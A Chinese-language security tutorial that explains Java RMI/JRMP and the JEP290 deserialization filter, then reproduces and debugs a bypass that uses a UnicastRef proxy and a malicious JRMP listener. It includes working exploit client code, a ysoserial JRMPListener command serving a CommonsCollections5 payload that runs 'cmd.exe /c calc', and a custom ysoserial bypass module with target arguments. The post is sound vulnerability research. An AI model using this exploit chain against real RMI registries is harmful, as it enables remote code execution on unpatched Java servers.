基本介绍

JRMP(JAVA Remote Method Protocol,即Java远程方法调用协议)是特定于Java技术的、用于查找和引用远程对象的协议,运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol),同时JRMP协议规定了在使用RMI的时候传输的数据中如果包含有JAVA原生序列化数据时,无论是在JRMP的客户端还是服务端,在接收到JRMP协议数据时都会把序列化的数据进行反序列化的话,这就有可能导致反序列化漏洞的产生了

实现方式

JRMP接口的两种常见实现方式:

  • JRMP协议(Java Remote Message Protocol),RMI专用的Java远程消息交换协议

  • IIOP协议(Internet Inter-ORB Protocol) ,基于CORBA实现的对象请求代理协议

简易示例

(1) 定义远程接口
首先我们需要定义一个远程接口,这个接口描述了可以被远程调用的方法,

package org.al1ex;
import java.rmi.Remote;import java.rmi.RemoteException;
// 定义远程接口public interface HelloService extends Remote {    String sayHello(String name) throws RemoteException;}

(2) 实现远程接口
接下来实现上述远程接口,创建一个完整的远程服务类,需要注意的是这个接口需要继承UnicastRemoteObject并实现一个无参构造方法:

package org.al1ex;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

// 实现远程接口
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
    protected HelloServiceImpl() throws RemoteException {
        super();
    }

    public String sayHello(String name) throws RemoteException {
        return "Hello, " + name + "!";
    }
}

(3) 注册对象并启动JVM
在服务器端我们需要创建一个RMI注册表将远程服务对象绑定到注册表中

package org.al1ex;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) {
        try {
            // 创建远程对象
            HelloService helloService = new HelloServiceImpl();

            // 创建 RMI 注册表
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.rebind("HelloService", helloService); // 绑定远程对象到注册表

            System.out.println("RMI Server is ready.");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

(4) 最后创建一个客户端来调用远程服务的sayHello方法

package org.al1ex;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) {
        try {
            // 获取 RMI 注册表
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);
            HelloService stub = (HelloService) registry.lookup("HelloService");

            // 调用远程方法
            String response = stub.sayHello("World");  // 传递参数 "World"
            System.out.println("Response from server: " + response);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

服务端运行结果:

客户端运行结果:

JEP290检测

JEP290增强机制是在2016年提出的一个针对JAVA 9的一个新特性,用于缓解反序列化攻击,随后官方决定向下引进该增强机制,分别对JDK 6,7,8进行了支持:

  • Java SE Development Kit 8, Update 121 (JDK 8u121)

  • Java SE Development Kit 7, Update 131 (JDK 7u131)

  • Java SE Development Kit 6, Update 141 (JDK 6u141)

JEP290主要做了以下几件事:

  • 限制反序列化的深度和复杂度

  • 为RMI远程调用对象提供了一个验证类的机制

  • 提供一个限制反序列化类的机制,白名单/黑名单

  • 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器

下面我们简易分析一下JEP 290检测机制的工作原理:
RMI的实现流程如下所示:

在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub和RegistryImpl_Skel,在服务端的RegistryImpl_Skel类中向注册中心进行bind、rebind操作时均进行了readObject操作以此拿到Remote远程对象引用,在这里跟进查看一番:在远程引用层中客户端服务端两个交互的类分别是RegistryImpl_Stub和Regis

在readObject中又调用了readObject,之后继续跟进:

然后进入readObject0()

在readObject0()之中进入readOrdinaryObject()

继续进入readClassDesc()

之后进入readProxyDesc()

在readProxyDesc()中有filterCheck

进入filterCheck()之后先检查其所有接口,然后检查对象自身:

在这里调用了serialFilter.checkInput(),最终来到sun.rmi.registry.RegistryImpl#registryFilter,在这里由于白名单中不含有当前AnnotationInvocationHandler类,所以返回REJECTED

if (!var2.isArray()) {    return String.class != var2 &&         !Number.class.isAssignableFrom(var2) &&         !Remote.class.isAssignableFrom(var2) &&         !Proxy.class.isAssignableFrom(var2) &&         !UnicastRef.class.isAssignableFrom(var2) &&         !RMIClientSocketFactory.class.isAssignableFrom(var2) &&         !RMIServerSocketFactory.class.isAssignableFrom(var2) &&         !ActivationID.class.isAssignableFrom(var2) &&         !UID.class.isAssignableFrom(var2)         ?Status.REJECTED : Status.ALLOWED;}

即白名单类:

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

绕过原理

从上面可以看到在处理序列化数据时已经有了白名单的检查,但是我们还可以通过JRMP进行绕过,基本原理如下图所示

说白了就是利用在JDK8u231之前的JDK版本能够让注册中心反序列化UnicastRef类,从而使这个类发起一个JRMP连接到恶意JRMP服务端上,从而在DGC层造成一个反序列化

绕过复现

首先定义一个测试接口

package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
    String name(String name) throws RemoteException;
    void say(String say) throws RemoteException;
    void dowork(Object work) throws RemoteException;
}

随后实现接口,此接口需要有一个显示的构造函数并且要抛出一个RemoteException异常

package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

// java.rmi.server.UnicastRemoteObject构造函数中将生成stub和skeleton
public class UserImpl extends UnicastRemoteObject implements User{
    // 必须有一个显式的构造函数,并且要抛出一个RemoteException异常
    public UserImpl() throws RemoteException{
        super();
    }
    @Override
    public String name(String name) throws RemoteException{
        return name;
    }
    @Override
    public void say(String say) throws  RemoteException{
        System.out.println("you speak" + say);
    }
    @Override
    public void dowork(Object work) throws  RemoteException{
        System.out.println("your work is " + work);
    }
}

RMISever端:

package RMI;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(1099);
        User user = new UserImpl();
        registry.rebind("HelloRegistry", user);
        System.out.println("rmi start at 1099");
    }
}

RMIClient端:

package RMI;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class RMIClient {
    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 1099
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1088); // JRMPListener's port is 1088
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(RMIClient.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        reg.bind("Hello",proxy);
    }
}

下面进行具体的漏洞利用演示:

Step 1:首先使用ysoserial启动一个恶意的JRMPListener

"C:\Program Files\Java\jdk1.8.0_151\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections5 "cmd.exe /c calc"

Step 2:启动一个RMI服务

package test;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class UserServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(1099);
        User user = new UserImpl();
        registry.rebind("HelloRegistry", user);
        System.out.println("rmi start at 1099");
    }
}

Step 3:客户端获取注册中心示例并绑定一个UnicastRef对象到注册中心中去

package RMI;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class RMIClient {
    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 1099
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1088); // JRMPListener's port is 1088
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(RMIClient.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        reg.bind("Hello",proxy);
    }
}

JRMPListener端不间断的发送返回数据过去,此时注册表中心收到后会不断的进行反序列化操作

绕过分析

下面我们在客户端下断点进行分析,首先可以看到这里的客户端调用LocateRegistry.getRegistry获取注册中心后,获得了一个封装了UnicastRef对象的RegistryImpl_Stub对象,其中UnicastRef对象用于与注册中心创建通信

当我们调用bind()方法时,会通过UnicastRef对象中存储的信息与注册中心进行通信,而且在这里会通过ref与注册中心通信并将绑定的对象名称以及要绑定的远程对象发过去,注册中心在后续会对应进行反序列化

注册中心在接收到请求后使用的readObject方法最终是调用了RemoteObjectInvocationHandler父类RemoteObject的readObject(RemoteObjectInvocationHandler没有实现readObject方法)

下面我们跟进这里的ReadObject方法最后有一个ref.readExternal(in);

调用栈如下所示:

readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 573967274 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

继续跟进后可以看到这里调用了LiveRef.read()

继续跟进后可以看到这里把payload里所传入的LiveRef解析到var5变量处,里面包含了IP与端口信息(JRMPListener的端口),这些信息将用于后面注册中心与JRMP端建立通信

随后回到dispatch那里,在这里调用了readObject方法之后又调用了var2.releaseInputStream();,持续跟入

继续跟入this.in.registerRefs();

可以看到这里的传利的var2就是之前的IP和端口信息,继续跟入:

EndpointEntry创建了一个DGCImpl_Stub,最后DGCCient.EndpointEntry返回的var2是一个DGCClient对象:

继续跟入var2.registerRef,可以看到在最后一行调用了this.makeDirtyCall并传入了DGCClient对象:

跟进之后可以看到调用了this.dgc.dirty方法

在这里注册中心就跟JRMP开始建立连接了,首先通过newCall建立连接,随后通过writeObject写入要请求的数据,invoke来处理传输数据,这里是将数据发送到JRMP端,跟入this.ref.invoke(var5);

随后跟入var1.executeCall():

随后JRMP端发过来的数据会在这里被反序列化,这一个过程是没有调用setObjectInputFilter的,serialFilter也就为空,所以只需要让JRMP端返回一个恶意对象就可以攻击成功了,而这个JRMP端可以直接用ysoserial启动

工具化类

在这里我们在ysoserial(https://github.com/Al1ex/ysoserial) 中进行利用扩展支持,工具利用方式如下:

Step 1:首先使用ysoserial启动一个恶意的JRMPListener

Step 2:启动一个RMI服务

package org.al1ex;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIServer {
    public static void main(String[] args) {
        try {
            // 创建远程对象
            HelloService helloService = new HelloServiceImpl();

            // 创建 RMI 注册表
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("HelloService", helloService); // 绑定远程对象到注册表

            System.out.println("RMI Server is ready.");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Step 3:客户端获取注册中心示例并绑定一个UnicastRef对象到注册中心中去

#格式说明
"C:\Program Files\Java\jdk1.8.0_151\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.UnicastRefBypassJEP290 <攻击目标IP> <攻击目标端口> <本地JRMP服务IP> <本地JRMP服务端口>

#执行示例
"C:\Program Files\Java\jdk1.8.0_151\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.UnicastRefBypassJEP290 127.0.0.1 1099 127.0.0.1 1088

此时的JRMP客户端执行效果如下:

参考链接

http://openjdk.java.net/jeps/290

https://lp.lmboke.com/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf

https://stackoverflow.com/questions/41821240/rmi-registry-filter-rejects-rmi-configuration-class-in-java-8-update-121

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。